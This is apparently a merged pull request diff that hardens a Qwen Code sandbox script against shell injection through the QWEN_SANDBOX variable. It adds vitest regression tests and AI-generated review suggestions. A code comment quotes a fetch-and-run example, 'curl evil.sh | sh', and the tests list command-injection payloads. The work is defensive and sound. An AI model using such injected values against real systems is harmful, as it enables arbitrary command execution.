Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 21 additions & 6 deletions scripts/sandbox_command.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
// See the License for the specific language governing permissions and
// limitations under the License.

import { execSync } from 'node:child_process';
import { execFileSync } from 'node:child_process';
import { existsSync, readFileSync } from 'node:fs';
import path from 'node:path';
const { join, dirname } = path;
Expand Down Expand Up @@ -95,16 +95,31 @@ if (!qwenSandbox) {
qwenSandbox = (qwenSandbox || '').toLowerCase();

const commandExists = (cmd) => {
// Use 'where.exe' (not 'where') on Windows because PowerShell aliases
// 'where' to 'Where-Object', which breaks command detection.
const checkCommand = os.platform() === 'win32' ? 'where.exe' : 'command -v';
// Pass `cmd` as a separate argv element (never interpolated into a shell
// command string) so a malicious QWEN_SANDBOX value such as
// `docker; curl evil.sh | sh` cannot inject extra commands.
const check = (candidate) => {
if (os.platform() === 'win32') {
// Use 'where.exe' (not 'where') because PowerShell aliases 'where' to
// 'Where-Object', which breaks command detection.
execFileSync('where.exe', [candidate], { stdio: 'ignore' });
} else {
// 'command -v' is a POSIX shell builtin, so it must run inside a shell.
// Bind the candidate to $1 rather than splicing it into the script text.
// Use an absolute '/bin/sh' (matching execSync's default) so a
// PATH-controlled 'sh' from an untrusted project cannot be run here.
execFileSync('/bin/sh', ['-c', 'command -v "$1"', 'sh', candidate], {
stdio: 'ignore',
});
}
};
try {
execSync(`${checkCommand} ${cmd}`, { stdio: 'ignore' });
check(cmd);
return true;
} catch {
if (os.platform() === 'win32' && !cmd.endsWith('.exe')) {
try {
execSync(`${checkCommand} ${cmd}.exe`, { stdio: 'ignore' });
check(`${cmd}.exe`);
return true;
} catch {
return false;
Expand Down
72 changes: 72 additions & 0 deletions scripts/tests/sandbox-command.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/

import { execFileSync } from 'node:child_process';
import { fileURLToPath } from 'node:url';
import path from 'node:path';
import { describe, expect, it } from 'vitest';

const scriptPath = path.join(
path.dirname(fileURLToPath(import.meta.url)),
'..',
'sandbox_command.js',
);

/**
* Runs sandbox_command.js as a subprocess with the given QWEN_SANDBOX value.
* Returns { status, stdout, stderr }. Never throws on a non-zero exit so the
* caller can assert on the exit code.
*/
function runSandboxCommand(sandboxValue) {
try {
const stdout = execFileSync(process.execPath, [scriptPath, '-q'], {
encoding: 'utf8',
env: { ...process.env, QWEN_SANDBOX: sandboxValue },
});
return { status: 0, stdout, stderr: '' };
} catch (err) {
return {
status: err.status ?? 1,
stdout: err.stdout?.toString() ?? '',
stderr: err.stderr?.toString() ?? '',
};
}
}

describe('sandbox_command.js QWEN_SANDBOX handling', () => {
// Each payload appends a command that would exit 0 if the shell ever split
// the value on the metacharacter. A vulnerable build runs e.g.
// `command -v doesnotexist; true`, which exits 0, so commandExists() returns
// true and the script echoes the payload and exits 0. The hardened build
// treats the whole string as a single command name, fails to find it, and
// exits non-zero — so a regression here flips these assertions.
const injectionPayloads = [
'doesnotexist; true',
'doesnotexist && true',
'doesnotexist | true',
'doesnotexist; echo pwned',
'$(true)',
'`true`',
];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Consider adding || and embedded-newline payloads to the injection set. || is the most common "fail-open" injection vector (complementing the existing &&), and literal newlines are a classic IFS-splitting vector:

Suggested change
];
'doesnotexist; true',
'doesnotexist && true',
'doesnotexist || true',
'doesnotexist | true',
'doesnotexist; echo pwned',
'$(true)',
'`true`',
'doesnotexist\ntrue',

— qwen3.7-max via Qwen Code /review


for (const payload of injectionPayloads) {
it(`rejects the injection payload ${JSON.stringify(payload)} instead of executing it`, () => {
const { status, stdout } = runSandboxCommand(payload);
expect(status).not.toBe(0);
// The payload must never be accepted as a resolved sandbox command.
expect(stdout.trim()).toBe('');
});
}

it('reports the raw value as a single missing command (no shell splitting)', () => {
const payload = 'doesnotexist; echo pwned';
const { status, stderr } = runSandboxCommand(payload);
expect(status).not.toBe(0);
// The entire string is echoed back verbatim, proving it was treated as one
// opaque command name rather than parsed by a shell.
expect(stderr).toContain(`missing sandbox command '${payload}'`);
});
});

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The test suite only covers rejection paths. Consider adding a happy-path test that verifies a legitimate sandbox command (e.g. sh or node) is accepted and echoed to stdout. If the $1 binding were to regress and always reject, no test would currently catch it:

it('accepts a legitimate sandbox command that exists', () => {
  const { status, stdout } = runSandboxCommand('node');
  expect(status).toBe(0);
  expect(stdout.trim()).toBe('node');
});

— qwen3.7-max via Qwen Code /review

Loading